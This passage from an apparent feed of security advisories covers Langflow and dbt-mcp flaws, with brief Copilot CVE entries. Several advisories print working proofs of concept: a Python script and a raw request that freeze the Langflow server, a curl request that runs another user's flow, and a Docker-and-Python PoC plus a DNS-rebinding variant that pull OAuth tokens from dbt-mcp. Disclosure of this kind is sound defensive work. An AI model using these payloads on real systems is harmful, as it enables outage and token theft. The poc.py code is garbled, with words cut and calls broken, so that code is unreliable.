**before** the body is parsed. The upload endpoint also gained an authentication and flow-ownership check (`get_current_active_user` + `403` on mismatch), closing the unauthenticated access vector. Upgrade to **1.0.19 or later**.",
            "summary": "### Summary\nAn attacker can send a `\/api\/v1\/files\/upload\/` request without any authentication token\/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time. \n\n### Details\nhttps:\/\/github.com\/langflow-ai\/langflow\/blob\/v1.0.18\/src\/backend\/base\/langflow\/api\/v1\/files.py#L40\n\nThe file upload function will try to process the multipart form data even if it is malformed and contains a payload such as an extremely large amount of hyphens after the boundary. It also does not do the authentication check before trying to process this data so an unauthenticated attacker can perform this as well as authenticated users. \n\nAdditionally, an attacker doesn't even need to know a valid UUID of a flow to send this request because the server will still try to process the large boundary even with any random value in place of the flow ID. \n\n### PoC\n\nAn attacker makes this request to upload a file without valid authentication information or a valid flow ID: \n\n```\nPOST \/api\/v1\/files\/upload\/test HTTP\/1.1\nHost: 127.0.0.1:7860\nContent-Length: 3000192\nAccept-Language: en-US,en;q=0.9\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/128.0.6613.120 Safari\/537.36\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundaryorGBAKSkv5wR6WqJ\nAccept: application\/json, text\/plain, *\/*\nOrigin: http:\/\/127.0.0.1:7860\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n\n------WebKitFormBoundaryorGBAKSkv5wR6WqJ\nContent-Disposition: form-data; name=\"file\"; filename=\"dos.txt\"\nContent-Type: text\/plain\n\nDoS in progress!\n\n------WebKitFormBoundaryorGBAKSkv5wR6WqJ------------\n```\n\nHere is the request in python: \n\n```python\nimport requests\n\nurl = \"http:\/\/127.0.0.1:7860\/api\/v1\/files\/upload\/test\"\n\nheaders = {\n    \"Content-Type\": \"multipart\/form-data; boundary=---------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\"\n}\n\ndata = (\n    \"-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\\r\\n\"\n    \"Content-Disposition: form-data; name=\\\"file\\\"; filename=\\\"dos.txt\\\"\\r\\n\"\n    \"Content-Type: text\/plain\\r\\n\\r\\n\"\n    \"DoS in progress\\r\\n\"\n    \"-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ--\" + '-' * 1000000 + \"\\r\\n\"\n)\n\nresponse = requests.post(url, headers=headers, data=data)\n```\n\nThe app will then be stuck in the \"server is busy\" state for all users:\n\n\n\n### Impact\nSending this request will result in the server being unusable for all users for an infinite amount of time because the request can be repeated as much as you want.\n\n### Patches\nFixed in **1.0.19** via PR [#3923](https:\/\/github.com\/langflow-ai\/langflow\/pull\/3923). A `check_boundary` HTTP middleware was added that validates the multipart boundary (`^[\\w\\-]{1,70}$`) and rejects malformed requests \u2014 including the oversized-hyphen payload \u2014 with `HTTP 422` **before** the body is parsed. The upload endpoint also gained an authentication and flow-ownership check (`get_current_active_user` + `403` on mismatch), closing the unauthenticated access vector. Upgrade to **1.0.19 or later**.",
            "date_published": "2026-06-20T01:00:02+00:00",
            "date_modified": "2026-06-20T01:00:02+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee39d-94de-7111-9bba-b7d744f85c52",
            "title": "CVE-2026-50519: Initialization of a resource with an insecure default in GitHub Copilot and Visual Studio Code allows an unauthorized at",
            "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50519",
            "content_html": "Initialization of a resource with an insecure default in GitHub Copilot and Visual Studio Code allows an unauthorized attacker to disclose information over a network.",
            "summary": "Initialization of a resource with an insecure default in GitHub Copilot and Visual Studio Code allows an unauthorized attacker to disclose information over a network.",
            "date_published": "2026-06-20T18:00:47+00:00",
            "date_modified": "2026-06-20T18:00:47+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee28a-b919-7145-981e-c2aeda92198d",
            "title": "Langflow: Logout button does not clear session",
            "url": "https://github.com/advisories/GHSA-7hw8-6q6r-4276",
            "content_html": "### Summary\nThe logout button does not clear the session. The previous user stays logged in unless another user explicitly logs in.\n\n### Details\nNot in auto login mode. Hosted on localhost. `access_token_lf` remains present in both Local Storage and Cookies. `refresh_token_lf` remains present in Cookies.\n\n**Root cause:** the `\/logout` endpoint deleted the authentication cookies without matching the original `httponly`\/`samesite`\/`secure`\/`domain` parameters, so the browser kept them; additionally the frontend did not clear the auth cookies on logout.\n\n```\nLANGFLOW_AUTO_LOGIN: \"False\"\nLANGFLOW_SUPERUSER: \nLANGFLOW_SUPERUSER_PASSWORD: \nLANGFLOW_SECRET_KEY: \nLANGFLOW_NEW_USER_IS_ACTIVE: \"False\"\nLANGFLOW_ENABLE_SUPERUSER_CLI: \"False\"\n```\n\n### PoC\nClick Logout. Hit refresh to return to previous screen.\n\n### Impact\nUsers on shared computers may falsely believe they have terminated their session.\n\n### Patches\nFixed in **1.7.0** (PRs #10527 and #10528). The logout endpoint now deletes the auth cookies using the same parameters they were created with, and the frontend clears the auth cookies on logout. Upgrade to **1.7.0 or later**.",
            "summary": "### Summary\nThe logout button does not clear the session. The previous user stays logged in unless another user explicitly logs in.\n\n### Details\nNot in auto login mode. Hosted on localhost. `access_token_lf` remains present in both Local Storage and Cookies. `refresh_token_lf` remains present in Cookies.\n\n**Root cause:** the `\/logout` endpoint deleted the authentication cookies without matching the original `httponly`\/`samesite`\/`secure`\/`domain` parameters, so the browser kept them; additionally the frontend did not clear the auth cookies on logout.\n\n```\nLANGFLOW_AUTO_LOGIN: \"False\"\nLANGFLOW_SUPERUSER: \nLANGFLOW_SUPERUSER_PASSWORD: \nLANGFLOW_SECRET_KEY: \nLANGFLOW_NEW_USER_IS_ACTIVE: \"False\"\nLANGFLOW_ENABLE_SUPERUSER_CLI: \"False\"\n```\n\n### PoC\nClick Logout. Hit refresh to return to previous screen.\n\n### Impact\nUsers on shared computers may falsely believe they have terminated their session.\n\n### Patches\nFixed in **1.7.0** (PRs #10527 and #10528). The logout endpoint now deletes the auth cookies using the same parameters they were created with, and the frontend clears the auth cookies on logout. Upgrade to **1.7.0 or later**.",
            "date_published": "2026-06-20T01:00:02+00:00",
            "date_modified": "2026-06-20T01:00:02+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee39d-94db-7394-9953-dec91d6c15ba",
            "title": "CVE-2026-47645: Url redirection to untrusted site ('open redirect') in Microsoft 365 Copilot's Business Chat allows an unauthorized atta",
            "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47645",
            "content_html": "Url redirection to untrusted site ('open redirect') in Microsoft 365 Copilot's Business Chat allows an unauthorized attacker to elevate privileges over a network.",
            "summary": "Url redirection to untrusted site ('open redirect') in Microsoft 365 Copilot's Business Chat allows an unauthorized attacker to elevate privileges over a network.",
            "date_published": "2026-06-20T18:00:47+00:00",
            "date_modified": "2026-06-20T18:00:47+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee28a-b91c-719a-a26d-7b00a7b8c92e",
            "title": "Langflow: IDOR Vulnerability in `\/api\/v1\/responses` Endpoint Allows Authenticated Attackers to Access Another User's Flow",
            "url": "https://github.com/advisories/GHSA-qrpv-q767-xqq2",
            "content_html": "## Summary\n\nInsecure Direct Object Reference (IDOR) vulnerability in `\/api\/v1\/responses` endpoint allows an authenticated attacker to execute any flow belonging to another user by specifying the victim's flow ID in the request.\n\n## Details\n\nThe vulnerability exists in the `get_flow_by_id_or_endpoint_name` helper function in [`src\/backend\/base\/langflow\/helpers\/flow.py` (lines 399-414)](https:\/\/github.com\/langflow-ai\/langflow\/blob\/v1.9.0\/src\/backend\/base\/langflow\/helpers\/flow.py#L399C1-L414C67).\n\nWhen a flow is accessed via UUID (flow_id), the function queries the database directly without verifying if the authenticated user owns that flow:\n\n```python\n# src\/backend\/base\/langflow\/helpers\/flow.py:399-414\nasync def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead:\n    async with session_scope() as session:\n        try:\n            flow_id = UUID(flow_id_or_name)\n            # When using UUID, query directly WITHOUT checking user_id\n            flow = await session.get(Flow, flow_id)  # \u274c No user_id check!\n        except ValueError:\n            endpoint_name = flow_id_or_name\n            stmt = select(Flow).where(Flow.endpoint_name == endpoint_name)\n            # Only when using endpoint_name is user_id checked\n            if user_id:\n                stmt = stmt.where(Flow.user_id == uuid_user_id)\n```\n\nThis function is used by the `\/api\/v1\/responses` endpoint (defined in [`src\/backend\/base\/langflow\/api\/v1\/openai_responses.py:589`](https:\/\/github.com\/langflow-ai\/langflow\/blob\/v1.9.0\/src\/backend\/base\/langflow\/api\/v1\/openai_responses.py#L589)).\n\n## PoC (Proof of Concept)\n\n```bash\n# Attacker (user A) with API_KEY_A tries to execute victim (user B)'s flow\ncurl -X POST \"http:\/\/localhost:7860\/api\/v1\/responses\" \\\n  -H \"x-api-key: sk-ATTACKER_API_KEY\" \\\n  -H \"Content-Type: application\/json\" \\\n  -d '{\n    \"model\": \"VICTIM_FLOW_ID\",\n    \"input_value\": \"test\",\n    \"stream\": false\n  }'\n# Returns 200 and executes the victim's flow\n```\n\n## Impact\n\nAny authenticated user can:\n1. Execute any flow in the system by knowing its flow ID\n2. Access potentially sensitive data processed by victim's flows\n3. Consume victim's resources\n\n## Fixes\n\nFixed in **PR #12832** (`fix(security): close IDOR in get_flow_by_id_or_endpoint_name`), merged 2026-04-22, released in **Langflow 1.9.1**.\n\nThe helper normalizes `user_id` once and enforces ownership on **both** lookup branches (UUID *and* `endpoint_name`):\n\n```python\nflow_id = UUID(flow_id_or_name)\nflow = await session.get(Flow, flow_id)\nif flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id:\n    flow = None  # cross-user lookup falls through to the shared 404\n```\n\nKey points:\n- Cross-user lookups return **404** (not 403), so flow existence is not disclosed via a 403-vs-404 oracle.\n- `\/api\/v1\/responses` and `\/api\/v2\/workflow` pass `user_id` explicitly, so fixing the helper closes them directly; the `\/api\/v1\/run*` routes were additionally moved from a bare `Depends(get_flow_by_id_or_endpoint_name)` to auth-aware wrapper dependencies (defense in depth).\n- A malformed `user_id` now fails closed (404 instead of a raw 500).\n- Webhook routes intentionally keep the unscoped lookup (public by design \/ explicit ownership check elsewhere).\n- Regression tests cover the cross-user UUID case and reproduce the original PoC against `\/api\/v1\/responses`.\n\n\n\n\n\n## Acknowledgements\n\nThanks to the security researchers who responsibly disclosed this vulnerability:\n* @yzeirnials\n* @johnatzeropath\n* @LeftenantZero\n* @Zwique",
            "summary": "## Summary\n\nInsecure Direct Object Reference (IDOR) vulnerability in `\/api\/v1\/responses` endpoint allows an authenticated attacker to execute any flow belonging to another user by specifying the victim's flow ID in the request.\n\n## Details\n\nThe vulnerability exists in the `get_flow_by_id_or_endpoint_name` helper function in [`src\/backend\/base\/langflow\/helpers\/flow.py` (lines 399-414)](https:\/\/github.com\/langflow-ai\/langflow\/blob\/v1.9.0\/src\/backend\/base\/langflow\/helpers\/flow.py#L399C1-L414C67).\n\nWhen a flow is accessed via UUID (flow_id), the function queries the database directly without verifying if the authenticated user owns that flow:\n\n```python\n# src\/backend\/base\/langflow\/helpers\/flow.py:399-414\nasync def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead:\n    async with session_scope() as session:\n        try:\n            flow_id = UUID(flow_id_or_name)\n            # When using UUID, query directly WITHOUT checking user_id\n            flow = await session.get(Flow, flow_id)  # \u274c No user_id check!\n        except ValueError:\n            endpoint_name = flow_id_or_name\n            stmt = select(Flow).where(Flow.endpoint_name == endpoint_name)\n            # Only when using endpoint_name is user_id checked\n            if user_id:\n                stmt = stmt.where(Flow.user_id == uuid_user_id)\n```\n\nThis function is used by the `\/api\/v1\/responses` endpoint (defined in [`src\/backend\/base\/langflow\/api\/v1\/openai_responses.py:589`](https:\/\/github.com\/langflow-ai\/langflow\/blob\/v1.9.0\/src\/backend\/base\/langflow\/api\/v1\/openai_responses.py#L589)).\n\n## PoC (Proof of Concept)\n\n```bash\n# Attacker (user A) with API_KEY_A tries to execute victim (user B)'s flow\ncurl -X POST \"http:\/\/localhost:7860\/api\/v1\/responses\" \\\n  -H \"x-api-key: sk-ATTACKER_API_KEY\" \\\n  -H \"Content-Type: application\/json\" \\\n  -d '{\n    \"model\": \"VICTIM_FLOW_ID\",\n    \"input_value\": \"test\",\n    \"stream\": false\n  }'\n# Returns 200 and executes the victim's flow\n```\n\n## Impact\n\nAny authenticated user can:\n1. Execute any flow in the system by knowing its flow ID\n2. Access potentially sensitive data processed by victim's flows\n3. Consume victim's resources\n\n## Fixes\n\nFixed in **PR #12832** (`fix(security): close IDOR in get_flow_by_id_or_endpoint_name`), merged 2026-04-22, released in **Langflow 1.9.1**.\n\nThe helper normalizes `user_id` once and enforces ownership on **both** lookup branches (UUID *and* `endpoint_name`):\n\n```python\nflow_id = UUID(flow_id_or_name)\nflow = await session.get(Flow, flow_id)\nif flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id:\n    flow = None  # cross-user lookup falls through to the shared 404\n```\n\nKey points:\n- Cross-user lookups return **404** (not 403), so flow existence is not disclosed via a 403-vs-404 oracle.\n- `\/api\/v1\/responses` and `\/api\/v2\/workflow` pass `user_id` explicitly, so fixing the helper closes them directly; the `\/api\/v1\/run*` routes were additionally moved from a bare `Depends(get_flow_by_id_or_endpoint_name)` to auth-aware wrapper dependencies (defense in depth).\n- A malformed `user_id` now fails closed (404 instead of a raw 500).\n- Webhook routes intentionally keep the unscoped lookup (public by design \/ explicit ownership check elsewhere).\n- Regression tests cover the cross-user UUID case and reproduce the original PoC against `\/api\/v1\/responses`.\n\n\n\n\n\n## Acknowledgements\n\nThanks to the security researchers who responsibly disclosed this vulnerability:\n* @yzeirnials\n* @johnatzeropath\n* @LeftenantZero\n* @Zwique",
            "date_published": "2026-06-20T01:00:02+00:00",
            "date_modified": "2026-06-20T01:00:02+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee39d-94d8-73b0-bf99-4350410573c4",
            "title": "CVE-2026-42895: Improper neutralization of special elements used in a command ('command injection') in Microsoft Copilot allows an unaut",
            "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42895",
            "content_html": "Improper neutralization of special elements used in a command ('command injection') in Microsoft Copilot allows an unauthorized attacker to perform tampering over a network.",
            "summary": "Improper neutralization of special elements used in a command ('command injection') in Microsoft Copilot allows an unauthorized attacker to perform tampering over a network.",
            "date_published": "2026-06-20T18:00:47+00:00",
            "date_modified": "2026-06-20T18:00:47+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee28a-b921-7330-a155-731f4cf4ebea",
            "title": "dbt MCP Server: Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens",
            "url": "https://github.com/advisories/GHSA-jr33-mw75-7j8f",
            "content_html": "## Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens\n\n### Summary\n\nThe local OAuth helper FastAPI server bundled with `dbt-mcp` exposes the `GET \/dbt_platform_context` endpoint without any form of authentication or host-origin validation. After a user completes the OAuth login flow against dbt Cloud (cloud.getdbt.com), the endpoint returns the full `DbtPlatformContext` object \u2014 including the victim's `access_token` and `refresh_token` for the dbt Platform API \u2014 verbatim to any caller that can reach `127.0.0.1:6785`. An attacker who can direct the victim's browser to the helper origin via DNS rebinding, or who has co-located process access on the same host, can silently exfiltrate both tokens. The stolen bearer token grants full dbt Cloud API access as the victim; the refresh token enables persistent access beyond the original token's expiry. **CVSS Base Score: 8.0 (High).**\n\n### Details\n\nDuring the OAuth login flow, `dbt-mcp` launches an embedded FastAPI server (the \"OAuth helper\") bound to `127.0.0.1` starting on port `6785` (configured at `src\/dbt_mcp\/config\/credentials.py:34`, `OAUTH_REDIRECT_STARTING_PORT = 6785`). After the OAuth callback is handled, the helper persists the full token context to disk and continues serving requests.\n\n**Data flow from source to sink:**\n\n1. **Source** \u2014 `src\/dbt_mcp\/oauth\/fastapi_app.py:106`: The OAuth callback receives `token_response` from the dbt Platform authorization server.\n2. `src\/dbt_mcp\/oauth\/dbt_platform.py:60`: `AccessTokenResponse(**token_response)` stores `access_token` and `refresh_token` as plaintext fields.\n3. `src\/dbt_mcp\/oauth\/dbt_platform.py:64\u201369`: The `AccessTokenResponse` is embedded inside `DecodedAccessToken`, which is in turn embedded inside `DbtPlatformContext`.\n4. `src\/dbt_mcp\/oauth\/fastapi_app.py:114`: The fully token-bearing `DbtPlatformContext` object is passed to `context_manager` for persistence.\n5. **Persistence sink** \u2014 `src\/dbt_mcp\/oauth\/context_manager.py:63\u201364`: `yaml.dump(context.model_dump())` serializes the entire model \u2014 including tokens \u2014 to a YAML file on disk.\n6. **HTTP sink** \u2014 `src\/dbt_mcp\/oauth\/fastapi_app.py:162\u2013165`: The `GET \/dbt_platform_context` route reads the YAML file back and returns the raw `DbtPlatformContext` object with no redaction.\n\n```python\n# src\/dbt_mcp\/oauth\/fastapi_app.py:162-165\n@app.get(\"\/dbt_platform_context\")\ndef get_dbt_platform_context() -> DbtPlatformContext:\n    logger.info(\"Selected project received\")\n    return dbt_platform_context_manager.read_context() or DbtPlatformContext()\n```\n\n```python\n# src\/dbt_mcp\/oauth\/dbt_platform.py:8-14\nclass AccessTokenResponse(BaseModel):\n    access_token: str\n    refresh_token: str\n    ...\n\nclass DbtPlatformContext(BaseModel):\n    decoded_access_token: DecodedAccessToken | None = None\n    ...\n```\n\n**Missing protections (confirmed by grep):**\n\n- No `TrustedHostMiddleware` \u2014 the server accepts requests with arbitrary `Host` headers, enabling DNS rebinding.\n- No `CORSMiddleware` \u2014 no cross-origin restrictions on which sites can read the response.\n- No CSRF protection, no session nonce, no `Origin` header validation.\n- The route has no FastAPI `Depends()` security dependency.\n\nA `grep -Rni \"TrustedHostMiddleware\\|CORSMiddleware\\|csrf\\|origin\"` across the OAuth FastAPI application returns no results.\n\n**Recommended remediation:**\n\n```diff\n--- a\/src\/dbt_mcp\/oauth\/fastapi_app.py\n+++ b\/src\/dbt_mcp\/oauth\/fastapi_app.py\n+from starlette.middleware.trustedhost import TrustedHostMiddleware\n+\n+def _redact_context(context: DbtPlatformContext | None) -> DbtPlatformContext:\n+    if context is None:\n+        return DbtPlatformContext()\n+    return context.model_copy(update={\"decoded_access_token\": None})\n\n     app = FastAPI()\n+    app.add_middleware(\n+        TrustedHostMiddleware,\n+        allowed_hosts=[\"localhost\", \"127.0.0.1\"],\n+    )\n\n     @app.get(\"\/dbt_platform_context\")\n     def get_dbt_platform_context() -> DbtPlatformContext:\n         logger.info(\"Selected project received\")\n-        return dbt_platform_context_manager.read_context() or DbtPlatformContext()\n+        return _redact_context(dbt_platform_context_manager.read_context())\n```\n\n### PoC\n\n**Prerequisites:**\n\n- `dbt-mcp` v1.19.1 installed in a Python 3.12 environment.\n- The following runtime dependencies available: `authlib~=1.6.7`, `fastapi~=0.128.0`, `uvicorn~=0.38.0`, `pyyaml~=6.0.2`, `httpx~=0.28.1`, `starlette~=0.50.0`, `pydantic~=2.0`, `pydantic-settings~=2.10.1`.\n- No `DBT_TOKEN` set (OAuth flow mode active).\n\n**Step 1 \u2014 Build the Docker test environment:**\n\n```bash\ndocker build -t vuln001-dbt-mcp -f vuln-001\/Dockerfile .\n```\n\nThe `Dockerfile` installs only the OAuth helper's runtime dependencies and copies `src\/` and `poc.py`:\n\n```dockerfile\nFROM python:3.12-slim\nWORKDIR \/app\nRUN pip install --no-cache-dir \\\n    \"authlib~=1.6.7\" \"fastapi~=0.128.0\" \"uvicorn~=0.38.0\" \\\n    \"pyjwt~=2.12.0\" \"pyyaml~=6.0.2\" \"httpx~=0.28.1\" \\\n    \"filelock~=3.20.3\" \"starlette~=0.50.0\" \"requests>=2.28\" \\\n    \"pydantic~=2.0\" \"pydantic-settings~=2.10.1\"\nCOPY repo\/src \/app\/src\nENV PYTHONPATH=\/app\/src\nCOPY vuln-001\/poc.py \/app\/poc.py\nCMD [\"python3\", \"\/app\/poc.py\"]\n```\n\n**Step 2 \u2014 Run the PoC:**\n\n```bash\ndocker run --rm --network=host vuln001-dbt-mcp\n```\n\nThe PoC script (`poc.py`) performs the following automatically:\n\n1. Writes a realistic fake OAuth context YAML to `\/tmp\/dbt_poc_mcp.yml`, simulating a victim who has already completed the OAuth login flow.\n2. Instantiates the **real** `create_app()` from `src\/dbt_mcp\/oauth\/fastapi_app.py` using `DbtPlatformContextManager` backed by the pre-seeded file.\n3. Starts the server on `127.0.0.1:16785` in a background thread.\n4. Issues an unauthenticated `GET \/dbt_platform_context` with no `Authorization` header.\n5. Asserts that `access_token` and `refresh_token` are returned verbatim.\n\n**Equivalent manual curl (against the live OAuth helper during actual OAuth flow):**\n\n```bash\n# While the victim is running the OAuth login flow:\nexport DBT_HOST='cloud.getdbt.com'\nunset DBT_TOKEN\ndbt-mcp   # OAuth helper starts on 127.0.0.1:6785\n\n# From any co-located process (or a DNS-rebinding browser page):\ncurl -s 'http:\/\/127.0.0.1:6785\/dbt_platform_context' \\\n  | jq '.decoded_access_token.access_token_response'\n```\n\n**Expected output (Phase 2 observed):**\n\n```\n[*] HTTP Status: 200\n[*] Full response JSON:\n{\n  \"decoded_access_token\": {\n    \"access_token_response\": {\n      \"access_token\": \"eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER\",\n      \"refresh_token\": \"dbt-platform-offline-refresh-SUPERSECRET-abc123\",\n      \"expires_in\": 3600,\n      \"scope\": \"user_access offline_access\",\n      \"token_type\": \"Bearer\",\n      \"expires_at\": 9999999999\n    },\n    ...\n  },\n  ...\n}\n[!] LEAKED access_token  : eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER\n[!] LEAKED refresh_token : dbt-platform-offline-refresh-SUPERSECRET-abc123\n[+] VULNERABILITY CONFIRMED: Tokens returned from \/dbt_platform_context WITHOUT authentication!\n```\n\n**DNS rebinding variant:**\n\nA malicious website can resolve `attacker.example` to `127.0.0.1` after the browser's DNS TTL expires (\"DNS rebinding\"). Because the helper accepts any `Host` header, the browser treats `http:\/\/attacker.example:6785` as same-origin and fetches `\/dbt_platform_context` via JavaScript `fetch()`, obtaining the full token JSON across the network without any local access.\n\n### Impact\n\nAny local process running as any user on the same host, or a remote attacker who exploits DNS rebinding against a victim's browser during or after the OAuth login session, can retrieve the victim's full dbt Cloud OAuth tokens with a single unauthenticated HTTP GET request. The `access_token` grants immediate bearer-token access to the dbt Cloud REST and GraphQL APIs on behalf of the victim. The `refresh_token` (with `offline_access` scope) allows the attacker to obtain new access tokens after the original expires, providing persistent unauthorized access until the victim manually revokes the OAuth grant. An attacker with these tokens can read or modify dbt projects, run jobs, access environment secrets, and exfiltrate data lineage and warehouse credentials stored in dbt Cloud.\n\nThis vulnerability is a **Missing Authentication for Critical Function** (CWE-306). Any developer machine running `dbt-mcp` with OAuth-mode authentication is affected for the duration of the OAuth helper process lifetime. Because `dbt-mcp` is a developer tool, the primary victims are individual developers and their associated dbt Cloud organization accounts.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\nWORKDIR \/app\n\n# Install minimal runtime dependencies (no heavy dbt-protos\/dbt-sl-sdk needed\n# because fastapi_app.py's import chain doesn't touch them)\nRUN pip install --no-cache-dir \\\n \"authlib~=1.6.7\" \\\n \"fastapi~=0.128.0\" \\\n \"uvicorn~=0.38.0\" \\\n \"pyjwt~=2.12.0\" \\\n \"pyyaml~=6.0.2\" \\\n \"httpx~=0.28.1\" \\\n \"filelock~=3.20.3\" \\\n \"starlette~=0.50.0\" \\\n \"requests>=2.28\" \\\n \"pydantic~=2.0\" \\\n \"pydantic-settings~=2.10.1\"\n\n# Copy only the source tree needed for the OAuth server\nCOPY repo\/src \/app\/src\n\nENV PYTHONPATH=\/app\/src\n\nCOPY vuln-001\/poc.py \/app\/poc.py\n\nCMD [\"python3\", \"\/app\/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!\/usr\/bin\/env python3\n\"\"\"\nPoC for VULN-001: Unauthenticated OAuth Con Endpoint Leaks dbt Platform Tokens\n\nAttack scenario:\n - dbt-mcp runs a local FastAPI OAuth helper on 127.0.0.1:6785 during login.\n - After the OAuth flow completes, tokens are persisted to ~\/.dbt\/mcp.yml.\n - GET \/dbt_platform_con is accessible with NO authentication at all.\n - Any process on the same host (or a DNS-rebinding browser page) can call it\n and receive the full access_token + refresh_token.\n\nThis PoC:\n 1. Pre-seeds a con file with fake-but-realistic OAuth tokens\n (simulating a victim who has already completed the OAuth flow).\n 2. Starts the real vulnerable FastAPI app from src\/dbt_mcp\/oauth\/fastapi_app.py.\n 3. Issues an unauthenticated HTTP GET \/dbt_platform_con (no auth header).\n 4. Confirms the tokens are returned verbatim.\n\"\"\"\n\nimport asyncio\nimport json\nimport os\nimport sys\nimport tempfile\nimport threading\nimport time\nfrom pathlib import Path\n\nimport httpx\nimport uvicorn\nimport yaml\n\n# Fake tokens that simulate a victim's completed OAuth session.\nFAKE_ACCESS_TOKEN = \"eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER\"\nFAKE_REFRESH_TOKEN = \"dbt-platform-offline-refresh-SUPERSECRET-abc123\"\n\nFAKE_CONTEXT = {\n \"decoded_access_token\": {\n \"access_token_response\": {\n \"access_token\": FAKE_ACCESS_TOKEN,\n \"refresh_token\": FAKE_REFRESH_TOKEN,\n \"expires_in\": 3600,\n \"scope\": \"user_access offline_access\",\n \"token_type\": \"Bearer\",\n \"expires_at\": 9999999999,\n },\n \"decoded_claims\": {\n \"sub\": \"99999\",\n \"iat\": 1700000000,\n \"exp\": 9999999999,\n },\n },\n \"host_prefix\": \"victimco\",\n \"dbt_host\": \"cloud.getdbt.com\",\n \"account_id\": 42,\n \"selected_project_ids\": None,\n \"dev_environment\": None,\n \"prod_environment\": None,\n}\n\nPORT = 16785\n\n\ndef start_server(context_file: Path, static_dir: str) -> None:\n \"\"\"Run the actual vulnerable FastAPI app in a background thread.\"\"\"\n from authlib.integrations.requests_client import OAuth2Session\n from dbt_mcp.oauth.context_manager import DbtPlatformContextManager\n from dbt_mcp.oauth.fastapi_app import create_app\n\n context_manager = DbtPlatformContextManager(context_file)\n\n # A dummy OAuth client \u2014 only used by the \/oauth-callback route,\n # which this PoC never triggers.\n fake_oauth_client = OAuth2Session(client_id=\"poc-dummy-client\")\n\n app = create_app(\n oauth_client=fake_oauth_client,\n state_to_verifier={},\n dbt_platform_url=\"https:\/\/cloud.getdbt.com\",\n static_dir=static_dir,\n dbt_platform_context_manager=context_manager,\n )\n\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n config = uvicorn.Config(\n app=app, host=\"127.0.0.1\", port=PORT, log_level=\"error\", loop=\"asyncio\"\n )\n server = uvicorn.Server(config)\n loop.run_until_complete(server.serve())\n\n\ndef wait_for_server(port: int, timeout: float = 15.0) -> bool:\n import socket\n\n deadline = time.time() + timeout\n while time.time() < deadline:\n try:\n with socket.create_connection((\"127.0.0.1\", port), timeout=1):\n return True\n except OSError:\n time.sleep(0.2)\n return False\n\n\ndef main() -> int:\n print(\"[*] VULN-001 PoC \u2014 Unauthenticated \/dbt_platform_con token leak\")\n print(\"=\" * 70)\n\n # 1. Pre-seed con file (victim has completed OAuth; tokens are on disk)\n context_file = Path(\"\/tmp\/dbt_poc_mcp.yml\")\n context_file.write_(\n yaml.dump(FAKE_CONTEXT, default_flow_style=False), encoding=\"utf-8\"\n )\n print(f\"[*] Con file written: {context_file}\")\n print(f\" access_token : {FAKE_ACCESS_TOKEN}\")\n print(f\" refresh_token : {FAKE_REFRESH_TOKEN}\")\n\n # 2. Minimal static dir so NoCacheStaticFiles mount doesn't error on startup\n static_dir = tempfile.mkdtemp(prefix=\"dbt_poc_static_\")\n (Path(static_dir) \/ \"index.html\").write_(\"dbt OAuth\")\n\n # 3. Start the real vulnerable FastAPI server in a background thread\n t = threading.Thread(\n target=start_server, args=(context_file, static_dir), daemon=True\n )\n t.start()\n\n print(f\"\\n[*] Waiting for FastAPI server to start on 127.0.0.1:{PORT} ...\")\n if not wait_for_server(PORT):\n print(\"[-] FAIL: Server did not start within timeout.\")\n return 2\n\n print(\"[*] Server is up.\")\n\n # 4. Send unauthenticated GET \/dbt_platform_con (no Authorization header)\n url = f\"http:\/\/127.0.0.1:{PORT}\/dbt_platform_con\"\n print(f\"\\n[*] Sending unauthenticated GET {url}\")\n try:\n resp = httpx.get(url, timeout=10)\n except Exception as exc:\n print(f\"[-] HTTP request failed: {exc}\")\n return 2\n\n print(f\"[*] HTTP Status: {resp.status_code}\")\n\n if resp.status_code != 200:\n print(f\"[-] FAIL: Expected 200, got {resp.status_code}\")\n print(f\" Body: {resp.[:500]}\")\n return 1\n\n try:\n data = resp.json()\n except Exception as exc:\n print(f\"[-] FAIL: Response is not JSON: {exc}\\n Body: {resp.[:500]}\")\n return 1\n\n print(f\"\\n[*] Full response JSON:\\n{json.dumps(data, indent=2)}\")\n\n # 5. Verify that the tokens are in the response (no redaction, no auth required)\n try:\n leaked_access = (\n data[\"decoded_access_token\"][\"access_token_response\"][\"access_token\"]\n )\n leaked_refresh = (\n data[\"decoded_access_token\"][\"access_token_response\"][\"refresh_token\"]\n )\n except (KeyError, TypeError) as exc:\n print(f\"\\n[-] FAIL: 